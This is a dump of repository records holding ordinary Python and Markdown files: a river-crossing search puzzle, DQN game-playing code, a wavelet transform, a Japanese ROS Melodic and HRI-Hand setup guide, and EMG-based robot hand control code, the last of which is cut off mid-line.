663bbc1220120a05aea22484acc60219a4cc11bd
refs/heads/main
2023-02-20T17:57:19.464516
2021-01-17T05:58:25
2021-01-17T05:58:25
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4973897933959961, "alphanum_fraction": 0.5037702918052673, "avg_line_length": 31.528301239013672, "blob_id": "e30cb84571af01135b05c50be13defc688a78b6d", "content_id": "358815b68df0136bf60d1f7e4e17680671911c7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3448, "license_type": "no_license", "max_line_length": 139, "num_lines": 106, "path": "/HW1-2.py", "repo_name": "ibrahimaljalal/KFUPM-ICS-520-HW1-Problem1", "src_encoding": "UTF-8", "text": "from simpleai.search import SearchProblem, breadth_first\n\n\nclass IbrahimProblem(SearchProblem):\n\n #These lines of cod will determine the number of sheep and wolfs in both B and A\n def actions(self,state):\n numberOfWolfsInA = sum([1 for i in range(len(state.split(\"-\"))) if state.split(\"-\")[i] == \"wa\"])\n numberOfSheepsInA = sum([1 for i in range(len(state.split(\"-\"))) if state.split(\"-\")[i] == \"sa\"])\n numberOfWolfsInB= 3-numberOfWolfsInA\n numberOfSheepsInB= 3-numberOfSheepsInA\n\n #If the sheep are eaten there is no reason to continue\n if ((numberOfWolfsInA>numberOfSheepsInA and numberOfSheepsInA!=0) or(numberOfWolfsInB>numberOfSheepsInB and numberOfSheepsInB!=0)):\n\n return []\n\n #If the boat is in reign A then the next action has to be to region b\n elif state[0]==\"a\":\n # These are all of the possible actions to region B but some of them will be excluded\n # depending on the conditions\n actions=[\"b\",\"b-w\",\"b-w-w\",\"b-s\",\"b-s-s\",\"b-w-s\"]\n if numberOfWolfsInA<=1:\n actions.remove(\"b-w-w\")\n if numberOfWolfsInA==0:\n actions.remove(\"b-w\")\n try:\n actions.remove(\"b-w-s\")\n except Exception:\n pass\n if numberOfSheepsInA<=1:\n actions.remove(\"b-s-s\")\n\n if numberOfSheepsInA==0:\n actions.remove(\"b-s\")\n try:\n actions.remove(\"b-w-s\")\n except Exception:\n pass\n return actions\n\n #Same logic as the previous elif\n else:\n actions=[\"a\",\"a-w\",\"a-w-w\",\"a-s\",\"a-s-s\",\"a-w-s\"]\n\n if numberOfWolfsInB<=1:\n actions.remove(\"a-w-w\")\n\n if numberOfWolfsInB==0:\n actions.remove(\"a-w\")\n try:\n actions.remove(\"a-w-s\")\n except Exception:\n pass\n\n if numberOfSheepsInB<=1:\n actions.remove(\"a-s-s\")\n\n if numberOfSheepsInB==0:\n actions.remove(\"a-s\")\n try:\n actions.remove(\"a-w-s\")\n except Exception:\n pass\n return actions\n\n\n def result(self,state,action):\n\n state=state.split(\"-\")\n wolfs = sum([1 for i in range(len(action.split(\"-\"))) if action.split(\"-\")[i] == \"w\"])\n sheeps =sum([1 for i in range(len(action.split(\"-\"))) if action.split(\"-\")[i] == \"s\"])\n\n if action[0]==\"a\":\n state[0]=\"a\"\n for i in range(wolfs):\n state.insert(1+i,\"wa\")\n state.remove(\"wb\")\n\n for i in range(sheeps):\n state.insert(len(state),\"sa\")\n state.remove(\"sb\")\n\n else:\n state[0]=\"b\"\n for i in range(wolfs):\n state.insert(1+i,\"wb\")\n state.remove(\"wa\")\n\n for i in range(sheeps):\n state.insert(len(state),\"sb\")\n state.remove(\"sa\")\n return \"-\".join(state)\n\n def is_goal(self, state):\n if state==\"b-wb-wb-wb-sb-sb-sb\":\n return True\n else:\n return False\n\n\ntest=IbrahimProblem(initial_state=\"a-wa-wa-wa-sa-sa-sa\")\nresult = breadth_first(test)\n\nprint(result.state) # the goal state\nprint(result.path())\n" } ]
1
geniustom/MachineLearning
https://github.com/geniustom/MachineLearning
3f4732b126319b81fae887902cc8eba07ff03494
bb8550c136da7ad4565874052b960d458a14c9ca
2b2567d5e7591552050c07a86c6840eda0236dfc
refs/heads/master
2021-01-22T21:13:30.715659
2017-03-21T19:11:17
2017-03-21T19:11:17
85,407,389
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.555407702922821, "alphanum_fraction": 0.5882912278175354, "avg_line_length": 31.639751434326172, "blob_id": "ca4a2015f7c5181d53a1ad0ea600327ae2c274ff", "content_id": "c0dedc31394473e109b856d9acba921ed61f8f43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5583, "license_type": "no_license", "max_line_length": 137, "num_lines": 161, "path": "/DRL-Ball/DQN_ball.py", "repo_name": "geniustom/MachineLearning", "src_encoding": "UTF-8", "text": "import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom BrainDQN_Nature import BrainDQN\n\n\n##################################################################################################################\n##################################################################################################################\nimport pygame\n\nBLACK = (0 ,0 ,0 )\nWHITE = (255,255,255)\n\nGAME_WIDTH = 300\nGAME_HEIGHT = 400\nSCREEN_SIZE = [GAME_WIDTH,GAME_HEIGHT]\nBAR_SIZE = [100, 10]\nBALL_SIZE = [15, 15]\nBALL_SPEED = 10\n\n# 神經網路的輸出\nMOVE_STAY = [1, 0, 0]\nMOVE_LEFT = [0, 1, 0]\nMOVE_RIGHT = [0, 0, 1]\nALIVE_REWARD = 0 #存活獎勵\nWIN_REWARD = 1 #獎勵\nLOSE_REWARD = -1 #懲罰\n \nclass Game(object):\n\tdef __init__(self):\n\t\tpygame.init()\n\t\tself.clock = pygame.time.Clock()\n\t\tself.screen = pygame.display.set_mode(SCREEN_SIZE)\n\t\tpygame.display.set_caption('打磚塊')\n \n\t\tself.ball_pos_x = SCREEN_SIZE[0]//2 - BALL_SIZE[0]/2\n\t\tself.ball_pos_y = SCREEN_SIZE[1]//2 - BALL_SIZE[1]/2\n \n\t\tself.ball_dir_x = -1 # -1 = left 1 = right \n\t\tself.ball_dir_y = -1 # -1 = up 1 = down\n\t\tself.ball_pos = pygame.Rect(self.ball_pos_x, self.ball_pos_y, BALL_SIZE[0], BALL_SIZE[1])\n \n\t\tself.bar_pos_x = SCREEN_SIZE[0]//2-BAR_SIZE[0]//2\n\t\tself.bar_pos = pygame.Rect(self.bar_pos_x, SCREEN_SIZE[1]-BAR_SIZE[1], BAR_SIZE[0], BAR_SIZE[1])\n\n\tdef gen_action(self,optfromNN):\n\t\tif optfromNN[0]==1: return MOVE_STAY\n\t\telif optfromNN[1]==1: return MOVE_LEFT\n\t\telif optfromNN[2]==1: return MOVE_RIGHT\n\n\t# action是MOVE_STAY、MOVE_LEFT、MOVE_RIGHT\n\t# ai控制棒子左右移動;返回遊戲介面圖元數和對應的獎勵。(圖元->獎勵->強化棒子往獎勵高的方向移動)\n\tdef step(self, action):\n\t\tif action == MOVE_LEFT:\n\t\t\tself.bar_pos_x = self.bar_pos_x - BALL_SPEED\n\t\t\tprint(\"◀◀◀◀◀◀◀◀◀◀◀◀◀----------\")\n\t\telif action == MOVE_RIGHT:\n\t\t\tself.bar_pos_x = self.bar_pos_x + BALL_SPEED\n\t\t\tprint(\"----------▷▷▷▷▷▷▷▷▷▷▷▷▷\")\n\t\telif action == MOVE_STAY:\n\t\t\tpass\n\t\telse:\n\t\t\tprint(\"Not a action! \",action)\n\t\t\tpass\n\t\tif self.bar_pos_x < 0:\n\t\t\tself.bar_pos_x = 0\n\t\tif self.bar_pos_x > SCREEN_SIZE[0] - BAR_SIZE[0]:\n\t\t\tself.bar_pos_x = SCREEN_SIZE[0] - BAR_SIZE[0]\n\t\t\t\n\t\tself.screen.fill(BLACK)\n\t\t# draw bar\n\t\tself.bar_pos.left = self.bar_pos_x\n\t\tpygame.draw.rect(self.screen, WHITE, self.bar_pos)\n \n\t\t# draw ball\n\t\tself.ball_pos.left += self.ball_dir_x * BALL_SPEED\n\t\tself.ball_pos.bottom += self.ball_dir_y * BALL_SPEED\n\t\tif self.ball_dir_y==-1:\n\t\t\tpygame.draw.rect(self.screen, WHITE, self.ball_pos,0)\n\t\telse:\n\t\t\tpygame.draw.rect(self.screen, WHITE, self.ball_pos,3)\n \n\t\t#打到邊界反彈時,行進斜率 *=-1\n\t\tif self.ball_pos.top <= 0 or self.ball_pos.bottom >= (SCREEN_SIZE[1] - BAR_SIZE[1]+1):\n\t\t\tself.ball_dir_y = self.ball_dir_y * -1\n\t\tif self.ball_pos.left <= 0 or self.ball_pos.right >= (SCREEN_SIZE[0]):\n\t\t\tself.ball_dir_x = self.ball_dir_x * -1\n\n\t\tterminal = False\n\t\treward = ALIVE_REWARD # 存活獎勵 \n\t\tif self.bar_pos.top <= self.ball_pos.bottom and (self.bar_pos.left < self.ball_pos.right and self.bar_pos.right > self.ball_pos.left):\n\t\t\treward = WIN_REWARD # 擊中獎勵\n\t\telif self.bar_pos.top <= self.ball_pos.bottom and (self.bar_pos.left > self.ball_pos.right or self.bar_pos.right < self.ball_pos.left):\n\t\t\treward = LOSE_REWARD # 沒擊中懲罰\n\t\t\tterminal = True #落地死 \n \n\t\t# 獲得遊戲畫面的影像\n\t\tscreen_image = pygame.surfarray.array3d(pygame.display.get_surface())\n\t\tpygame.display.update()\n\t\t# 返回遊戲畫面和對應的賞罰\n\t\treturn screen_image,reward, terminal\n\n##################################################################################################################\n##################################################################################################################\n\n# preprocess raw image to 80*80 gray image\ndef preprocess(observation):\n\tobservation = cv2.cvtColor(cv2.resize(observation, (80, 80)), cv2.COLOR_BGR2GRAY)\n\tret, observation = cv2.threshold(observation,1,255,cv2.THRESH_BINARY)\n\t#plt.imshow(observation, cmap ='gray'); plt.show();\n\treturn np.reshape(observation,(80,80,1))\n\n\t\ndef playGame():\n\t# Step 0: Define reort\n\twin = 0\n\tlose = 0\n\tpoints = 0\n\t# Step 1: init BrainDQN\n\tactions = 3\n\tbrain = BrainDQN(actions)\n\t# Step 2: init Game\n\tbg = Game()\n\t# Step 3: play game\n\t# Step 3.1: obtain init state\n\taction0 = bg.gen_action([1,0,0]) # do nothing\n\tobservation0, reward0, terminal = bg.step(action0)\n\tobservation0 = cv2.cvtColor(cv2.resize(observation0, (80, 80)), cv2.COLOR_BGR2GRAY)\n\tret, observation0 = cv2.threshold(observation0,1,255,cv2.THRESH_BINARY)\n\tbrain.setInitState(observation0)\n\n\t# Step 3.2: run the game\n\twhile True:\n\t\tpygame.event.get() #讓遊戲畫面能夠更新\n\t\taction = bg.gen_action(brain.getAction())\n\t\tObservation,reward,terminal = bg.step(action)\n\t\tnextObservation = preprocess(Observation)\n\t\tbrain.setPerception(nextObservation,action,reward,terminal)\n\t\t\n\t\t######################## 統計輸出報表用 ########################\n\t\tif reward==WIN_REWARD: win+=1 \n\t\telif reward==LOSE_REWARD: lose+=1\n\t\tpoints+=reward\n\t\tif terminal==True: \n\t\t\tpoints=0\n\t\t\tprint(\"Game over~~\")\n\t\tprint(\"hit rate:\" ,round(win/(win+lose+1)*100,2),\"% ,win_points:\",round(points,2),\" ,cnt:\",brain.timeStep)\n\t\tif brain.timeStep % 1000 == 0:\n\t\t\tlearn_rate.append(round(win/(win+lose+1)*100,2))\n\t\t\tplt.plot(learn_rate);plt.show();\n\t\t\twin=0\n\t\t\tlose=0\n\t\t######################## 統計輸出報表用 ########################\n\n\t\t\nlearn_rate=[]\ndef main():\n\tplayGame()\n\nif __name__ == '__main__':\n\tmain()\n\t\n\t\n\t\n" }, { "alpha_fraction": 0.6160045862197876, "alphanum_fraction": 0.6381692290306091, "avg_line_length": 23.814285278320312, "blob_id": "39e8ef8f5a082cbf4ebe0ca48d9616587164fd49", "content_id": "0804d327b65d4d012f3ae4ff2c87395d09b455fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3474, "license_type": "no_license", "max_line_length": 88, "num_lines": 140, "path": "/DQN/main.py", "repo_name": "geniustom/MachineLearning", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nimport random\nimport tensorflow as tf\n\nfrom dqn.agent import Agent\nfrom dqn.environment import GymEnvironment, SimpleGymEnvironment\n\n#============================================================\nclass AgentConfig(object):\n scale = 10000\n display = False\n\n max_step = 5000 * scale\n memory_size = 100 * scale\n\n batch_size = 32\n random_start = 30\n cnn_format = 'NCHW'\n discount = 0.99\n target_q_update_step = 1 * scale\n learning_rate = 0.00025\n learning_rate_minimum = 0.00025\n learning_rate_decay = 0.96\n learning_rate_decay_step = 5 * scale\n\n ep_end = 0.1\n ep_start = 1.\n ep_end_t = memory_size\n\n history_length = 4\n train_frequency = 4\n learn_start = 5. * scale\n\n min_delta = -1\n max_delta = 1\n\n double_q = False\n dueling = False\n\n _test_step = 5 * scale\n _save_step = _test_step * 10\n\nclass EnvironmentConfig(object):\n env_name = 'Breakout-v0'\n\n screen_width = 84\n screen_height = 84\n max_reward = 1.\n min_reward = -1.\n\nclass DQNConfig(AgentConfig, EnvironmentConfig):\n model = ''\n pass\n\nclass M1(DQNConfig):\n backend = 'tf'\n env_type = 'detail'\n action_repeat = 1\n\ndef get_config(FLAGS):\n if FLAGS.model == 'm1':\n config = M1\n elif FLAGS.model == 'm2':\n config = M2\n\n for k, v in FLAGS.__dict__['__flags'].items():\n if k == 'gpu':\n if v == False:\n config.cnn_format = 'NHWC'\n else:\n config.cnn_format = 'NCHW'\n\n if hasattr(config, k):\n setattr(config, k, v)\n\n return config\n\n#============================================================\nflags = tf.app.flags\n\n# Model\nflags.DEFINE_string('model', 'm1', 'Type of model')\nflags.DEFINE_boolean('dueling', False, 'Whether to use dueling deep q-network')\nflags.DEFINE_boolean('double_q', False, 'Whether to use double q-learning')\n\n# Environment\nflags.DEFINE_string('env_name', 'Breakout-v0', 'The name of gym environment to use')\nflags.DEFINE_integer('action_repeat', 4, 'The number of action to be repeated')\n\n# Etc\nflags.DEFINE_boolean('use_gpu', True, 'Whether to use gpu or not')\nflags.DEFINE_string('gpu_fraction', '1/1', 'idx / # of gpu fraction e.g. 1/3, 2/3, 3/3')\nflags.DEFINE_boolean('display', False, 'Whether to do display the game screen or not')\nflags.DEFINE_boolean('is_train', True, 'Whether to do training or testing')\nflags.DEFINE_integer('random_seed', 123, 'Value of random seed')\n\nFLAGS = flags.FLAGS\n\n# Set random seed\ntf.set_random_seed(FLAGS.random_seed)\nrandom.seed(FLAGS.random_seed)\n\nif FLAGS.gpu_fraction == '':\n raise ValueError(\"--gpu_fraction should be defined\")\n\ndef calc_gpu_fraction(fraction_string):\n idx, num = fraction_string.split('/')\n idx, num = float(idx), float(num)\n\n fraction = 1 / (num - idx + 1)\n print(\" [*] GPU : %.4f\" % fraction)\n return fraction\n\ndef main(_):\n gpu_options = tf.GPUOptions(\n per_process_gpu_memory_fraction=calc_gpu_fraction(FLAGS.gpu_fraction))\n\n with tf.Session(config=tf.ConfigProto(gpu_options=gpu_options)) as sess:\n config = get_config(FLAGS) or FLAGS\n\n if config.env_type == 'simple':\n env = SimpleGymEnvironment(config)\n else:\n env = GymEnvironment(config)\n\n if not tf.test.is_gpu_available() and FLAGS.use_gpu:\n raise Exception(\"use_gpu flag is true when no GPUs are available\")\n\n if not FLAGS.use_gpu:\n config.cnn_format = 'NHWC'\n\n agent = Agent(config, env, sess)\n\n if FLAGS.is_train:\n agent.train()\n else:\n agent.play()\n\nif __name__ == '__main__':\n tf.app.run()\n" } ]
2
mechAneko12/pros_hardware
https://github.com/mechAneko12/pros_hardware
e80c802e8dd10816264241452c1c84cd010ce7e0
1b0873ced85f2b8288b4edb1913b53f6dd7fdd4a
e85bd607e8fc092db37ec69311fc7723f3af7499
refs/heads/master
2023-02-01T00:53:10.810969
2020-12-16T05:51:25
2020-12-16T05:51:25
314,770,089
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.3355526030063629, "alphanum_fraction": 0.38659563660621643, "avg_line_length": 24.845237731933594, "blob_id": "c0c05f1b675351147b4f423c48d1980b730e9c93", "content_id": "df14aae877bb077d93f957b3530f117134d969e4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2253, "license_type": "permissive", "max_line_length": 75, "num_lines": 84, "path": "/hri_hand_control/script/dwt_process.py", "repo_name": "mechAneko12/pros_hardware", "src_encoding": "UTF-8", "text": "import numpy as np\r\nimport copy\r\nimport sys\r\n\r\n#import only_dwt\r\nimport time\r\n\r\nsq3 = np.sqrt(3); fsq2 = 4.0*np.sqrt(2); #N = 32 #N = 2^n\r\nc0 = (1 + sq3)/fsq2; c1 = (3 + sq3)/fsq2 #Daubechies 4 coeff\r\nc2 = (3 - sq3)/fsq2; c3 = (1 - sq3)/fsq2\r\n\r\nclass DWT_N:\r\n def __init__(self, n):\r\n if n < 4:\r\n print(\"n must be (n>=4).\")\r\n sys.exit(1)\r\n self.n = n\r\n self.fil = None\r\n\r\n def filter(self):\r\n nend = 4\r\n nd = copy.copy(self.n)\r\n fil = []\r\n while nd >= nend:\r\n _fil = np.zeros((nd,nd))\r\n nd //= 2\r\n for ind in range(nd):\r\n _fil[ind*2][ind*2] = c0\r\n _fil[ind*2][ind*2+1] = c1\r\n _fil[ind*2+1][ind*2] = c3\r\n _fil[ind*2+1][ind*2+1] = -c2\r\n if ind == nd -1:\r\n _fil[ind*2][0] = c2\r\n _fil[ind*2][1] = c3\r\n _fil[ind*2+1][0] = c1\r\n _fil[ind*2+1][1] = -c0\r\n else:\r\n _fil[ind*2][ind*2+2] = c2\r\n _fil[ind*2][ind*2+3] = c3\r\n _fil[ind*2+1][ind*2+2] = c1\r\n _fil[ind*2+1][ind*2+3] = -c0\r\n fil.append(_fil)\r\n self.fil = fil\r\n return fil\r\n \r\n @staticmethod\r\n def daube4(f, nd, fil):\r\n f_tmp = f[:nd]\r\n f_tmp = np.dot(fil, f_tmp)\r\n nd_2 = nd//2\r\n for ind, tmp in enumerate(f_tmp):\r\n if ind % 2 == 0:\r\n f[ind//2] = tmp\r\n else:\r\n f[ind//2+nd_2] = tmp\r\n\r\n def main(self, f):\r\n nend = 4\r\n nd = copy.copy(self.n)\r\n i = 0\r\n while nd >= nend:\r\n self.daube4(f, nd, self.fil[i])\r\n nd //= 2\r\n i += 1\r\n \r\n \r\n\r\nif __name__ == '__main__':\r\n f = np.arange(10,42).astype(np.float64)\r\n dwt = DWT_N(32)\r\n dwt.filter()\r\n start = time.time()\r\n dwt.main(f)\r\n print(time.time()-start)\r\n print(f)\r\n \"\"\"\r\n f_2 = np.arange(10,42).astype(np.float64)\r\n start = time.time()\r\n only_dwt.pyram(0, f_2, 32,1)\r\n print(time.time()-start)\r\n print(f_2)\r\n \r\n for a,b in zip(f,f_2):\r\n print(a-b)\"\"\"" }, { "alpha_fraction": 0.6123435497283936, "alphanum_fraction": 0.6379408240318298, "avg_line_length": 26.05384635925293, "blob_id": "6451c0dee2916bbf4fd2a0fc5849e3ea3c3d01e1", "content_id": "c2d8a8a16f38181b43f78bde7f17247ff1f318e9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4374, "license_type": "permissive", "max_line_length": 145, "num_lines": 130, "path": "/readme.md", "repo_name": "mechAneko12/pros_hardware", "src_encoding": "UTF-8", "text": "# Ubuntu18.04LTSにros-melodicをインストールしてHRI-Hand_ROSを動かす方法\n\n最初に`sudo su -`すれば、rootでできるのでsudoいらない\n\n## ***install python2.7***\n> ```\n> $ sudo apt install python\n> ```\n## ***install ros-melodic***\n> ```\n> $ sudo sh -c 'echo \"deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main\" > /etc/apt/sources.list.d/ros-latest.list'\n> $ sudo apt-key adv --keyserver 'hkp://keyserver.ubuntu.com:80' --recv-key C1CF6E31E6BADE8868B172B4F42ED6FBAB17C654\n> $ sudo apt update\n> ```\n> ここでつまずいたら、\n> ```\n> $ sudo apt-key del F42ED6FBAB17C654\n> $ sudo apt-key adv --keyserver 'hkp://keyserver.ubuntu.com:80' --recv-key C1CF6E31E6BADE8868B172B4F42ED6FBAB17C654\n> $ sudo apt update\n> ```\n> ```\n> $ sudo apt install ros-melodic-desktop-full\n> ```\n> ROSの依存関係を解決してくれるrosdepをインストール、初期化。\n> ```\n> $ sudo apt install python-rosdep\n> $ sudo rosdep init\n> $ rosdep update\n> ```\n> 環境変数の設定。~/.bashrcというターミナルの設定ファイルにROS関係の設定を追記。\n> ```\n> $ echo \"source /opt/ros/melodic/setup.bash\" >> ~/.bashrc\n> $ source ~/.bashrc\n> ```\n> buildするためにあらかじめcatkinをインストール。\n> ```\n> $ sudo apt install python-catkin-tools\n> ```\n> 必要に応じてツールをインストール。\n> ```\n> $ sudo apt install python-rosinstall python-rosinstall-generator python-wstool build-essential\n> ```\n## ***catkinワークスペースの作成、初期化(`catkin_ws`は任意の名前)***\n> ```\n> $ mkdir -p ~/catkin_ws/src\n> $ cd ~/catkin_ws/\n> $ catkin build\n> $ catkin_init_workspace\n> ```\n> `catkin build`をしないと`~/catkin_ws/log`が生成されずにあとで`catkin build`するときに怒られる。(catkin_init_workspaceはいらなさそう?)\n> \n> ワークスペースの場所を設定ファイルに書いて教えてあげる。\n> ```\n> $ echo \"source ~/catkin_ws/devel/setup.bash\" >> ~/.bashrc\n> $ source ~/.bashrc\n> ```\n> (`~/catkin_ws`で`source devel/setup.bash`するのと同じ。何度もやらずに済む)\n\n## ***HRI-Hand-ROSの導入***\n> githubに書いてあるとおり、\n> ```\n> $ cd ~/catkin_ws/src && git clone https://github.com/MrLacuqer/HRI-Hand-ROS.git\n> $ cd ~/catkin_ws\n> $ catkin build\n> ```\n> ```\n> $ rospack profile && rosstack profile\n> ```\n> 2つのターミナルを開いておいて、どちらにも`source ~/.bashrc`する。(どちらにも`source ~/catkin/devel/setup.bash`するのと同じ)\n> 一方で、\n> ```\n> $ roslaunch hri_hand_control hri_hand_control.launch\n> ```\n> もう一方で、\n> ```\n> $ rosrun hri_hand_control hri_joint_state_pub.py\n> ```\n\n## ***起こりうるエラー***\n> - ### `~/hard_ws/src/HRI-Hand-ROS/hri_hand_control/script`内のpythonファイルに対するpermission error\n> ```\n> $ sudo chmod u+x {}.py\n> ```\n> - ### serialに関するエラー\n> `~/catkin_ws/src/HRI-Hand-ROS/hri_hand_control/script/hri_joint_state_pub.py`のstmserをコメントアウト\n> \n> - ### pathが通っていいない\n> `RLException: [hri_hand_control.launch] is neither a launch file in package [hri_hand_control] nor is [hri_hand_control] a launch file name\nThe traceback for the exception was written to the log file` <br>\n> これに対しては\n> ```\n> $ source ~/catkin_ws/devel/setup.bash\n> ```\n> - ### `/home/usr/.ros/log`などへのpermission error\n> `.ros`に鍵がかかっていたら、\n> ```\n> $ rosdep fix-permissions\n> ```\n\n## ***Appendix***\n> - pathの確認\n> ```\n> $ echo $ROS_PACKAGE_PATH\n> /home/youruser/catkin_ws/src:/opt/ros/kinetic/share\n> ```\n> - マイコンの接続とArduino IDE\n> ```\n> $ ls -l /dev/serial/by-id/\n> 合計 0\n> lrwxrwxrwx 1 root root 13 11月 21 18:01 usb-2341_0043-if00 -> ../../ttyACM0\n> ```\n> で割り振られたポートを確認。\n> ```\n> sudo chmod a+rw /dev/ttyACM0\n> ```\n> - virtualboxを使うとき\n> ```\n> $ sudo chmod 666 /dev/ttyACM0 (/dev/USB0)\n> ```\n> してからシリアルポート有効化してvirtualbox起動。\n\n## ***ROS with Myo***\n> ```\n> $ ls -l /dev/serial/by-id/\n> ```\n> アドレスがあっているか確認した後、\n> sudo chmod u+x /dev/ttyACM?\n> PyoManager.pyc <-いらない\n> launch\n> hri_joint_state_pub.py" }, { "alpha_fraction": 0.5309584140777588, "alphanum_fraction": 0.5411365628242493, "avg_line_length": 32.980770111083984, "blob_id": "50f6ad040cfc9d103b165f378c8024b041b8e145", "content_id": "6fefaabc3033e6c360e936567d7ce9b70d6c1122", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3537, "license_type": "permissive", "max_line_length": 83, "num_lines": 104, "path": "/hri_hand_control/script/rps.py", "repo_name": "mechAneko12/pros_hardware", "src_encoding": "UTF-8", "text": "import time\n\nclass rock_paper_scissors:\n def __init__(self, MIN=0, MAX=0.012, velocity=0.001):\n self.fingers_state = {'index_control' : None,\n 'middle_control' : None,\n 'ring_control' : None,\n 'little_control' : None,\n 'thumb_joint_control' : None,\n 'thumb_control' : None\n }\n self.reset()\n \n self.MIN = MIN\n self.MAX = MAX\n self.velocity = velocity\n\n def __call__(self, hand):\n self.rps(hand)\n return self.fingers_state\n\n def rps(self, hand):\n if hand == 0:\n self.normal()\n elif hand == 1 or hand == 2:\n self.rock()\n elif hand == 3 or hand == 4:\n self.scissors()\n else:\n self.paper()\n\n def reset(self):\n for i, m in self.fingers_state.items():\n self.fingers_state[i] = 0\n \n def normal(self):\n for i, m in self.fingers_state.items():\n if self.fingers_state[i] > self.MIN:\n self.fingers_state[i] -= self.velocity\n \n def rock(self):\n for i, m in self.fingers_state.items():\n if self.fingers_state[i] < self.MAX:\n self.fingers_state[i] += self.velocity\n\n def paper(self):\n for i, m in self.fingers_state.items():\n if self.fingers_state[i] > self.MIN:\n self.fingers_state[i] -= self.velocity\n\n def scissors(self):\n for i, m in self.fingers_state.items():\n if i == 'index_control' or i == 'middle_control':\n if self.fingers_state[i] > self.MIN:\n self.fingers_state[i] -= self.velocity\n else:\n if self.fingers_state[i] < self.MAX:\n self.fingers_state[i] += self.velocity\n\n\nclass control:\n def __init__(self, hj_tf, sleep_time = 0.01):\n self.hj_tf = hj_tf\n self.stm_index_id = 0x01\n self.stm_middle_id = 0x02\n self.stm_ring_id = 0x03\n self.stm_little_id = 0x04\n self.stm_thumb_id = 0x05\n self.stm_thumb_joint_id = 0x06\n self.sleep_time = sleep_time\n\n def move(self, fingers_state):\n index_pris_val = fingers_state['index_control']\n middle_pris_val = fingers_state['middle_control']\n ring_pris_val = fingers_state['ring_control']\n little_pris_val = fingers_state['little_control']\n thumb_pris_val = fingers_state['thumb_joint_control']\n thumb_joint_pris_val = fingers_state['thumb_control']\n\n # index\n self.hj_tf.index_control(index_pris_val)\n self.hj_tf.hj_finger_control(self.stm_index_id, index_pris_val)\n\n # middle\n self.hj_tf.middle_control(middle_pris_val)\n self.hj_tf.hj_finger_control(self.stm_middle_id, middle_pris_val)\n\n # ring\n self.hj_tf.ring_control(ring_pris_val)\n self.hj_tf.hj_finger_control(self.stm_ring_id, ring_pris_val)\n\n # little\n self.hj_tf.little_control(little_pris_val)\n self.hj_tf.hj_finger_control(self.stm_little_id, little_pris_val)\n\n # thumb_joint\n self.hj_tf.thumb_joint_control(thumb_joint_pris_val)\n self.hj_tf.hj_finger_control(self.stm_thumb_joint_id, thumb_joint_pris_val)\n\n # thumb\n self.hj_tf.thumb_control(thumb_pris_val)\n self.hj_tf.hj_finger_control(self.stm_thumb_id, thumb_pris_val)\n\n time.sleep(self.sleep_time)\n\n\n\n" }, { "alpha_fraction": 0.5075029730796814, "alphanum_fraction": 0.522508978843689, "avg_line_length": 38.20000076293945, "blob_id": "aa6ec814f241c6260b1f2717b4fe55bb7a1e79f6", "content_id": "8227850aa43de13ffaa6742936145ba88d8bd523", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3332, "license_type": "permissive", "max_line_length": 191, "num_lines": 85, "path": "/hri_hand_control/script/predict_rps.py", "repo_name": "mechAneko12/pros_hardware", "src_encoding": "UTF-8", "text": "import numpy as np\nimport json\nimport copy\nimport scipy.stats as stats\n\nfrom dwt_process import DWT_N\n\nclass MLE:\n #maximum likelihood estimation\n def __init__(self, method='linear', label=None, mu=None, invS=None, S=None):\n self.methods = ['linear', 'mahalanobis']\n if not method in self.methods:\n print(\"Classification method is invalid.\")\n sys.exit(1)\n self.mtd = self.methods.index(method)\n self.label = label\n self.mu = mu\n self.invS =invS\n self.S = S\n\n def fit(self, x, y):\n self.label = []\n x = np.array(x)\n x_shape = x.shape[1]\n self.mu = np.empty((0, x_shape), float)\n S = np.empty((0, x_shape, x_shape), float)\n self.label = np.unique(y)\n for c in self.label:\n ind = np.where(y == c)[0]\n x_cl = x[ind]\n self.mu = np.append(self.mu, [np.mean(x_cl, axis=0)], axis=0)\n S = np.append(S, [np.cov(x_cl.T)], axis=0)\n if self.mtd == 0:\n self.invS = np.linalg.inv(np.mean(S, axis=0) + 0.000001 * np.identity(x_shape))\n else:\n self.invS = np.empty((0, x_shape, x_shape), float)\n for s in S:\n self.invS = np.append(self.invS, [np.linalg.inv(s + 0.000001 * np.identity(x_shape))], axis=0)\n self.S = S\n return self\n \n def predict(self, x):\n x = np.array(x)\n p = np.empty((0, x.shape[0]), float)\n if self.mtd == 0:\n for l in range(len(self.label)):\n p = np.append(p, self.mu[l][None, :].dot(self.invS).dot(x.T) - self.mu[l][None, :].dot(self.invS).dot(self.mu[l][:, None]) / 2, axis=0)\n else:\n for l in range(len(self.label)):\n # print( self.mu[l][:,None].shape)\n p = np.append(p, [-0.5 * (np.sum((np.dot((x.T - self.mu[l][:, None]).T, self.invS[l]) * ((x.T - self.mu[l][:, None]).T)), axis=1) + np.log(np.linalg.det(self.S[l])))], axis=0)\n p_max = np.argmax(p, axis=0)\n return self.label[p_max]\n\nclass predict_rps_int():\n def __init__(self, N, dataset_name):\n self.N = N\n f = open('/home/naoki/hard_ws/src/HRI-Hand-ROS/' + dataset_name+'/mle_data.json', 'r')\n j = json.load(f)\n f.close()\n self.mle = MLE(method=j['method'], label=np.array(j['label']), mu=np.array(j['mu']), invS=np.array(j['invS']), S=np.array(j['S']))\n self.ch_list = [i for i, x in enumerate(j['ch']) if x == 1]\n \n self.dwt = DWT_N(N)\n self.dwt.filter()\n\n def predict(self, emg):#emg: (32+n_sample-1, N)\n emg = np.array(emg)[:, self.ch_list].T\n # print(emg.shape)\n raw_emg = self.split_emg(emg)\n # print(raw_emg.shape)\n for i in raw_emg:\n for row in i:\n self.dwt.main(row)\n processed_emg = raw_emg[:, :, 2:].reshape(raw_emg.shape[0], 